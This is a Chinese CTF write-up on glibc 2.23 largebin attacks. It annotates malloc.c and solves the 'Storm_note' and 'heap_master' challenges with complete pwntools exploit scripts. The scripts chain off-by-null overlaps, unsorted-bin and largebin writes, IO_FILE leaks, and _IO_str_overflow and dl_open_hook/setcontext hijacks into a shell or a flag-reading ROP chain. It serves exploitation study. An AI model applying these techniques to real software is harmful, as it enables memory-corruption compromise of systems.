largebin_attack-glibc2.23

unsortedbin 拆分smallbin和largebin:

把largebin放入large bin list里面的话得先解链,和unlink其实差不多,不过这里用到了nextsize

glibc2.23 malloc/malloc.c:3470

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) //遍历unsortedbin_list
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
//chunk大小不能小于等于2*SIZE_SZ,不能超过分配区总的内存分配量
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}//chunk 属于smallbin的获得相应的index,当前chunk插入到fwd和bck之间
else
{//largebin和上面一样
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{//largebin中有空闲chunk
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{//如果当前chunk的size小于最后一个的size则插到链表最后
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{//正向找第一个chunk大小小于等于当前chunk
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
//如果找到和当前chunk的size一样的chunk,当前chunk插入到fwd之后
else
{//如果当前size还没有别的chunk,则成为chunk size的代表
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize; //fwd->bk_nextsize可控,因此victim->bk_nextsize可控
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址
}
bck = fwd->bk;
}
}
else
//largebin中没有chunk,直接将chunk写入chunksize链表
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址
//将chunk插入到largeb bin中,将large bin所对应binmap的相应bit位置

#define MAX_ITERS 10000
if (++iters >= MAX_ITERS) //遍历最多10000遍
break;
}

house of strom利用:

我们要构造unsorted bin 里面有一个large bin chunk未被分配进入large bin ,large bin 里也有一个chunk,保证unsorted bin里的那个large bin chunk的size要比large bin里已有的这个chunk的size要大一点,但是都属于同一个index。
(large bin 里的index分配跨度的0x3f,eg: 0x4c0-0x4ff;0x500-0x53f)

我们可以利用堆溢出改掉一个原本在largebin列表内的chunk的bk和bk_nextsize,指向我们的目的地址

bk指向的位置+0x10的位置(fd)填入当前chunk的地址,bk_nextsize指向的位置+0x20的位置(fd_nextsize)填入当前chunk地址

eg:

1
2
3
chunk1 : 0x000400                                addr:0x000818 : 0x000400
bk: 0x000808 -----------------> 0x000820 : 0x000400
bk_nextsize:0x000800

例题:

西湖论剑 Storm_note

漏洞:off by null
利用:large bin attack、overlap(没有show本能是IO_FILE的,但是零字节溢出会覆盖部分地址,就打消了这个念头

init_proc 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssize_t init_proc()
{
ssize_t result; // rax
int fd; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( !mallopt(1, 0) )
exit(-1);
if ( mmap(0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != 2882338816LL )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
result = read(fd, 0xABCD0100LL, 0x30uLL);
if ( result != 48 )
exit(-1);
return result;
}
1
2
int mallopt(int param,int value) :
M_MXFAST:定义使用fastbins的内存请求大小的上限( param=1,相当于被禁,即free完之后不入fastbin list

后门函数

1
2
3
4
5
6
7
8
9
10
11
12
void __noreturn backdoor()
{
char buf; // [rsp+0h] [rbp-40h]
unsigned __int64 v1; // [rsp+38h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("If you can open the lock, I will let you in");
read(0, &buf, 0x30uLL);
if ( !memcmp(&buf, 0xABCD0100LL, 0x30uLL) )
system("/bin/sh");
exit(0);
}

即 输入=随机数 就能触发后门

alloc 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 alloc_note()
{
int v1; // [rsp+0h] [rbp-10h]
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
for ( i = 0; i <= 15 && note[i]; ++i )
;
if ( i == 16 )
{
puts("full!");
}
else
{
puts("size ?");
_isoc99_scanf("%d", &v1);
if ( v1 > 0 && v1 <= 0xFFFFF )
{
note[i] = calloc(v1, 1uLL);
note_size[i] = v1;
puts("Done");
}
else
{
puts("Invalid size");
}
}
return __readfsqword(0x28u) ^ v3;
}

edit 函数 (off by null):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 edit_note()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
puts("Content: ");
v2 = read(0, note[v1], note_size[v1]);
*(note[v1] + v2) = 0; //off by null
puts("Done");
}
else
{
puts("Invalid index");
}
return __readfsqword(0x28u) ^ v3;
}

delete 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 delete_note()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
free(note[v1]);
note[v1] = 0LL;
note_size[v1] = 0;
}
else
{
puts("Invalid index");
}
return __readfsqword(0x28u) ^ v2;
}

分析:

1
2
3
4
5
6
7
8
9
10
11
12
overlap:
dele(1) #此刻chunk_list里面只有chunk1的位置是空缺的
edit(0,'a'*0x18)#off by null
add(0x18)#1
add(0x4d8)#7 0x050 -->chunk2

dele(1)
dele(2) #overlap 把0x18大小的chunk free掉了,空了一个位置,并且和前面堆块合并

#recover
add(0x30)#1
add(0x4e0)#2 实现chunk2和chunk7堆块重叠

后面chunk8那个的实现也差不多的

large bin attack:

1
2
3
4
5
6
7
8
9

target= 0xabcd0100
fake_chunk = target- 0x20



payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk -->构造fackchunk的fd
edit(7,payload)

1
2
3
4
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) 
payload2 += p64(0) + p64(fake_chunk+8) #理应写入下一个chunk的fd处,但是刚好借助位置可以写入fakechunk的bk处,防止程序crash
payload2 += p64(0) + p64(fake_chunk-0x18-5) #target chunk fake size 一定要0x56
edit(8,payload2)

再次malloc之后,chunk7从unsorted bin到large bin chunk8的fd指向chunk7,chunk7剩余部分存入unsorted bin ,因为堆块重叠,chunk2是large bin,且早被free了,所以chunk2被存入large bin

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

def add(size):
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('?')
p.sendline(str(size))

def edit(idx,message):
p.recvuntil('Choice')
p.sendline('2')
p.recvuntil('?')
p.sendline(str(idx))
p.recvuntil('Content')
p.send(message)

def delete(idx):
p.recvuntil('Choice')
p.sendline('3')
p.recvuntil('?')
p.sendline(str(idx))

add(0x18) #0
add(0x508) #1 400+覆盖之后太小了
add(0x18) #2 --> 可以删掉它,更新chunk list然后达到overlap的目的
edit(1,'a'*0x4f0+p64(0x500))

add(0x18) #3
add(0x508) #4
add(0x18) #5
edit(4,'a'*0x4f0+p64(0x500))

add(0x18)

delete(1)
edit(0,'a'*0x18)

add(0x18) #1
add(0x4d8) #7

delete(1)
delete(2)

add(0x30) #1
add(0x4e0) #2

delete(4)
edit(3,'a'*0x18)
add(0x18)#4
add(0x4d8)#8

delete(4)
delete(5)# free ->chunk5 but chunk8 here

add(0x40)


delete(2) #构造一个largebin 一个unsortedbin
add(0x4e8) #chunk5->largebin
delete(2) #chunk2->unsortedbin
gdb.attach(p)
#largebin attack

target = 0xabcd0100
fakechunk = target-0x20

payload = p64(0)*3 + p64(0x4f1) + p64(0) + p64(fakechunk)# bk fackchunk->fd
edit(7,payload)

payload2 = p64(0)*4 + p64(0) + p64(0x4e1)
payload2 += p64(0) + p64(fakechunk+8) #bk -->fakechunk->bk
payload2 += p64(0) + p64(fakechunk-0x18-5)#size 0x56

edit(8,payload2)
add(0x40)

payload = p64(0) * 2+p64(0) * 6
edit(2,payload)
p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)

p.interactive()

为什么size不能是0x55呢?

0x55&0x2=0(绕不过check)
0x56&0x2=2


(图片from:https://veritas501.space/2018/04/11/Largebin%20%E5%AD%A6%E4%B9%A0/

参考链接:

https://bbs.pediy.com/thread-254849.htm
http://blog.eonew.cn/archives/709

2019 *CTF heap_master

这真是折磨死我的一道题啊,还有几种方法后续补吧

这道题确实挺有趣的,因为malloc的堆块和edit的free操作对应的堆块位置不同
edit和free的操作对象是mmap分配的地址段
然后它也没有show函数,所以就本能会想到IO_FILE的leak操作

方法一:global_max_fast+unsortedbin attack+IO_flash_all_lockp:

参考blog: https://shift-crops.hatenablog.com/entry/2019/04/30/131154#heap-master-Pwn-740pt-8-solves

global_max_fast:

关于开头的global_max_fast的使用,其实不是很明白,后来试了试别的地址,发现不改global_max_fast的值,就会报错溢出,至于为啥还是不是很懂
–后续–
fastbin free完之后是不用在next chunk的prev_size位赋值的,所以这题free 0xf1大小的堆块理应是有prev_size位的,但是他没有所以会报错。

其他chunk free完是会有的

好的,global_max_fast改值之后就可以用fastbin操作了(uaf等,uaf是主要),基本上我们要控制stdou的内容的话,用的最多的方法就是uaf、largebin attack,

UAF:同一段chunk,用溢出改写chunk的size位,构造出不同size的free chunk,然后通过溢出修改free chunk的fd,再malloc两次就可以达到任意地址写了(size与构造的fake chunk的size要一致)

这题的话吧,因为malloc的堆不可用
bk指针改成global_max_fast,malloc 之后就是把global的值赋值成了main_arena,然后main_arena里面写入global的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x57af5000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x57af5000
BK: 0x7ffff7dd37e8 (free_list) ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x7ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x0000555555757020 0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>: 0x0000000057af5000 0x00007ffff7dd37e8
0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8

改chunk_size,为0xf1,是为了free之后进入main_arena 的位置是在main_arena+e*8的上
再free一次,(free的是mmap段),让main_arena段的fd和bk都同时指向mmap(恢复未被unsorted bin attack之前的状态)

再将bk写入stdout的低字节,malloc更改IO_read_end 的地址为main_arena+88
又按照上面恢复,继续往bk里面写入stdout+0x10的低字节,malloc将IO_write_base的地址也改成了main_arena+88
(write_base=read_end效果等效于flag位改成0xfbad1800)
然后我们就可以leak出来了

触发IO_flush_all_lockp:

接着就开始构造getshell的办法了,这里用的是触发IO_flush_all_lockp,读取数据到栈上,最终实现实现rop

step1:
构造fake FILE结构:让stdout指向main_arena,再通过edit size把main_arena+88+0x68的位置上填上mmap的地址(stderr被改成mmap段)
step2:
在mmap段上_IO_str_overflow伪造劫持控制流:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
//glibc-2.24 /libio/strops.c
int _IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES) //pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ //pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100; //这里写上"/bin/sh"
if (new_size < old_blen) //pass
return EOF;
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); //这里写上system的地址
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}

绕过检测满足的条件有:

1
2
3
4
5
1.fp->_flags & _IO_NO_WRITES为假
2.pos >= (_IO_size_t) (_IO_blen (fp) + flush_only为真,即(pos = fp->_IO_write_ptr - fp->_IO_write_base) >= fp->_IO_buf_end - fp->_IO_buf_base + flush_only
3.fp->_flags & _IO_USER_BUF为假
4._IO_size_t new_size = 2 * old_blen + 100 指向"/bin/sh"
5.(*((_IO_strfile *) fp)->_s._allocate_buffer)指向system的地址

new_size是放调用函数的参数的地方

所以我们构造四个地方:

1
2
3
4
IO_write_ptr  :  0xffffffffffff     (>IO_buf_end)
IO_buf_end : (参数存放地址-0x64)/2,比如system('/bin/sh'),存放参数的地址就是/bin/sh的地址
vtable : _IO_str_jumps
fp->_s._allocate_buffer(vtable+0x8,偏移是0xe0) : 调用函数的地址

所以在exit的时候调用IO_flush_all_lockp会遍历IO_list_all的全部结点找到合适的去执行IO_overflow,_IO_str_jumps->_IO_str_overflow,
脚本里是用了gets,把rop输入到栈上,然后用ret填满,最后执行rop

exp:

大佬的脚本模板项目:https://github.com/shift-crops/sc_expwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#coding=utf8
from sc_expwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
context.terminal = ['tmux','splitw','-h']
p = process('./heap_master')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def malloc(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
# else:
# self.sendline('1')
# self.sendline(str(size))

def malloc_(size):
p.sendline('1')
p.sendline(str(size))


def edit(offset,content):
# if self.wait:
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(offset))
p.sendlineafter('size: ', str(len(content)))
p.sendafter('content: ', content)
# else:
# self.sendline('2')
# self.sendline(str(offset))
# self.sendline(str(len(content)))
# self.send(content)


def edit_(offset,content):
p.sendline('2')
p.sendline(str(offset))
p.sendline(str(len(content)))
p.send(content)


def free(offset):
# if self.wait:
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(offset))
# else:
# self.sendline('3')
# self.sendline(str(offset))

def free_(offset):
p.sendline('3')
p.sendline(str(offset))



libc_guess = 0x7ffff7a0d000
offset_libc_free_hook= libc_guess +libc.symbols['__free_hook']
print hex(offset_libc_free_hook)
offset_max_fast = offset_libc_free_hook +0x50
# offset_max_fast=libc_guess+libc.symbols['global_max_fast']
offset_libc_stdout=libc_guess+libc.symbols['_IO_2_1_stdout_']


edit(0x8,p64(0x91)) #0
edit(0x98, p64(0x21)) #1
edit(0xb8, p64(0x21)) #2
free(0x10)

# gdb.attach(proc.pidof(p)[0])
edit(0x18, p16((offset_max_fast-0x10)&0xffff))
malloc(0x80)#global_max_fast 赋值

# gdb.attach(proc.pidof(p)[0])
edit(0x8, p64(0xf1))
edit(0xf8, p64(0x11))

free(0x10)
edit(0x8, p64(0x91))

# gdb.attach(p)
edit(0x18, p16((offset_libc_stdout+0x10-0x10)&0xffff)) #read_end

malloc(0x88)

edit_(0x8, p64(0xf1))
free_(0x10)
edit_(0x8, p64(0x91))
# gdb.attach(proc.pidof(p)[0])
edit_(0x18, p16((offset_libc_stdout+0x20-0x10)&0xffff)) #write_base
malloc_(0x88)

heap_addr = u64(p.recv(8).ljust(8,'\x00'))-0x20
print hex(heap_addr)
fake = u64(p.recv(8).ljust(8,'\x00'))
print hex(fake)
addr_buf_base = u64(p.recv(8).ljust(8,'\x00'))
print hex(addr_buf_base)
libc_addr = u64(p.recv(8).ljust(8,'\x00'))-16 - libc.symbols['_IO_2_1_stdout_']
print hex(libc_addr)
p.recv(0x838)
addr_stack= u64(p.recv(8).ljust(8,'\x00'))-0x3
print hex(addr_stack)

libc.address=libc_addr
addr_libc_gets = libc.sep_function['gets']
addr_libc_stdout = libc.symbols['_IO_2_1_stdout_']
addr_libc_dl_open_hook = libc.symbols['_dl_open_hook']
addr_libc_io_file_jumps = libc.symbols['_IO_file_jumps']
addr_libc_io_str_jumps = addr_libc_io_file_jumps + 0xc0


gdb.attach(proc.pidof(p)[0])
edit(0x8, p64(0xf1))
free(0x10) #free完后,fd&bk->dl_open_hook
edit(0x8, p64(0x91))
edit(0x18, p64(addr_libc_stdout+0x68-0x10))# bk->stdout+0x68(chain)
malloc(0x88)

edit(0x8, p64(0x191))
edit(0x198, p64(0x11)) #main_arena + 0x68(chain)->mmap

free(0x10)

fake_file = '\x00'*0x28
# fake_file += p64((addr_stack-0x2000 - 0x64)/2 + 1)
fake_file += p64(0xffffffffffffffff)
fake_file = fake_file.ljust(0x40, '\x00')
fake_file += p64((addr_stack -0x2100- 0x64)/2)
fake_file = fake_file.ljust(0xd8, '\x00')
fake_file += p64(addr_libc_io_str_jumps)
fake_file += p64(addr_libc_gets)
edit(0, fake_file)
gdb.attach(proc.pidof(p)[0])
rop = ROP(libc)

edit(0x100, './flag\x00')

rop.open(addr_buf_base + 0x100, 0)
rop.read(3, addr_buf_base + 0x200, 0x100)
rop.write(constants.STDOUT_FILENO, addr_buf_base + 0x200, 0x100)
print hex(rop.ret.address)

p.sendlineafter('>> ', '0')
p.sendline(p64(rop.ret.address)*0x500+str(rop))#任意填充一直ret到rop的位置

p.interactive()

方法二:largebin attack & dl_open_hook

发现它要getshell貌似一定要改glibc的版本,因为给的libc是2.25的

本来想用unsorted bin attack + global_max_fast来做的,但是发现fastbin attack的话好像就没办法把mmap的地址填进dl_open_hook达到对mmap段的利用(我太菜了

那就用largebin attack吧,方便一点

参考链接

https://ama2in9.top/2020/01/02/heap_master/
https://www.lyyl.online/2020/07/14/starctf-2019-WP/
http://pollux.cc/2019/05/04/2019-sixstarsCTF-heap_master/#0x01-%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90
https://paper.seebug.org/935/#3-largebin-attack-_dl_open_hook

关于dl_open_hook
1
2
3
4
5
6
7
8
//glibc 2.23   elf/dl-libc.c : 111

struct dl_open_hook
{
void *(*dlopen_mode) (const char *name, int mode);
void *(*dlsym) (void *map, const char *name);
int (*dlclose) (void *map);
};

我们调试的时候可以发现,在报错时会把dl_open_hook里的值放进rax中(用官方的libc环境是rbx,但是我没更换到)所以要找到可利用的gadget,例如:

1
2
0x7ffff7a7a99a <_IO_new_fgetpos+170>:   mov    rdi,rax
0x7ffff7a7a99d <_IO_new_fgetpos+173>: call QWORD PTR [rax+0x20]

基本上就是rax那些指针的bug的感觉了,syscall好像call不了,不知道为啥

然后在rax(mmap段地址在执行libc_dlopen_mode的时候会被放到rax里面)+0x20的位置放setcontext+53的地址

1
2
3
4
5
6
7
0x7ffff7a54b85 <setcontext+53>:	mov    rsp,QWORD PTR [rdi+0xa0]
0x7ffff7a54b8c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7ffff7a54b93 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7ffff7a54b97 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7ffff7a54b9b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7ffff7a54b9f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7ffff7a54ba3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]

控制rsp为我们填写rop的位置,实现rop的利用

调试exp(就是syscall会crash掉,不知道为啥)

exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *

elf = ELF('./heap_master')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'

def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))

def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)

def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))

def exp():


edit(0x108,p64(0x401)) #fake first large chunk
edit(0x508,p64(0x21))
edit(0x528,p64(0x21))
delete(0x110)
add(0x400)

edit(0x608,p64(0x411))
edit(0x608+0x410,p64(0x21))
edit(0x608+0x430,p64(0x21))
delete(0x610 )
edit(0x118,p16(0x2610)) #modify stdout_flag --> mmap_addr
edit(0x128,p16(0x2629))
# delete(0x610)
add(0x410)
# gdb.attach(p)
edit(0x1008,p64(0x451)) #fake second large chunk
edit(0x1458,p64(0x21))
edit(0x1478,p64(0x21))
delete(0x1010)
add(0x450)

edit(0x1508,p64(0x461))
edit(0x1968,p64(0x21))
edit(0x1988,p64(0x21))
delete(0x1510)
edit(0x1018,p16(0x2629)) #modify io_write_base_one_byte --> '\x00'
add(0x460)


data = p.recv(8,timeout=1)
if data == '' or data[0] == '=' :
raise NameError
else :
pass
p.recv(24)
data1 = u64(p.recv(8))
data2 = u64(p.recv(6).ljust(8,'\x00'))
heap_base = data1 - 3584
libc_base = data2 - 3954339
setcontext = libc_base + 293749
print hex(heap_base),hex(libc_base)

edit(0x2008,p64(0x501))
edit(0x2508,p64(0x21))
edit(0x2528,p64(0x21))
delete(0x2010)
add(0x500)

edit(0x2608,p64(0x511))
edit(0x2b18,p64(0x21))
edit(0x2b38,p64(0x21))
delete(0x2610)
edit(0x2018,p16(0x62d0))
add(0x510)

#gdb.attach(p)
pop_rax = libc_base + 0x000000000003a738
pop_rdi = libc_base + 0x0000000000021112
pop_rsi = libc_base + 0x00000000000202f8 #182c
pop_rdx = libc_base + 0x0000000000001b92 #true
syscall = libc_base + 0x00000000000026bf


# 0x7ffff7a7a99a <_IO_new_fgetpos+170>: mov rdi,rax
# 0x7ffff7a7a99d <_IO_new_fgetpos+173>: call QWORD PTR [rax+0x20]


edit(0x2600,p64(libc_base+0x6D99A))
edit(0x2620,p64(setcontext+0x10))
edit(0x26a0,p64(heap_base+0x26b0))
edit(0x26a8,p64(libc_base+0x0000000000000937)) #ret

edit(0x26b0,p64(pop_rax)) #read
edit(0x26b8,p64(0))
edit(0x26c0,p64(pop_rdi))
edit(0x26c8,p64(0))
edit(0x26d0,p64(pop_rsi))
edit(0x26d8,p64(heap_base))
edit(0x26e0,p64(pop_rdx))
edit(0x26e8,p64(20))
edit(0x26f0,p64(syscall))

edit(0x26f8,p64(pop_rax)) #open
edit(0x2700,p64(2))
edit(0x2708,p64(pop_rdi))
edit(0x2710,p64(heap_base))
edit(0x2718,p64(pop_rsi))
edit(0x2720,p64(0))
edit(0x2728,p64(pop_rdx))
edit(0x2730,p64(0))
edit(0x2738,p64(syscall))

edit(0x2740,p64(pop_rax)) #read
edit(0x2748,p64(0))
edit(0x2750,p64(pop_rdi))
edit(0x2758,p64(4))
edit(0x2760,p64(pop_rsi))
edit(0x2768,p64(heap_base))
edit(0x2770,p64(pop_rdx))
edit(0x2778,p64(0x20))
edit(0x2780,p64(syscall))

edit(0x2788,p64(pop_rax)) #write
edit(0x2790,p64(1))
edit(0x2798,p64(pop_rdi))
edit(0x27a0,p64(1))
edit(0x27a8,p64(pop_rsi))
edit(0x27b0,p64(heap_base))
edit(0x27b8,p64(pop_rdx))
edit(0x27c0,p64(0x20))
edit(0x27c8,p64(syscall))

delete(0x2b20)
gdb.attach(p)
delete(0x2b20)

p.send('./flag\x00')

p.interactive()

if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception as e:
print e
p.close()
pass

打得通的大佬exp(就是由于要搞glibc的更换,所以没办法在gdb里看bin那些东西):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
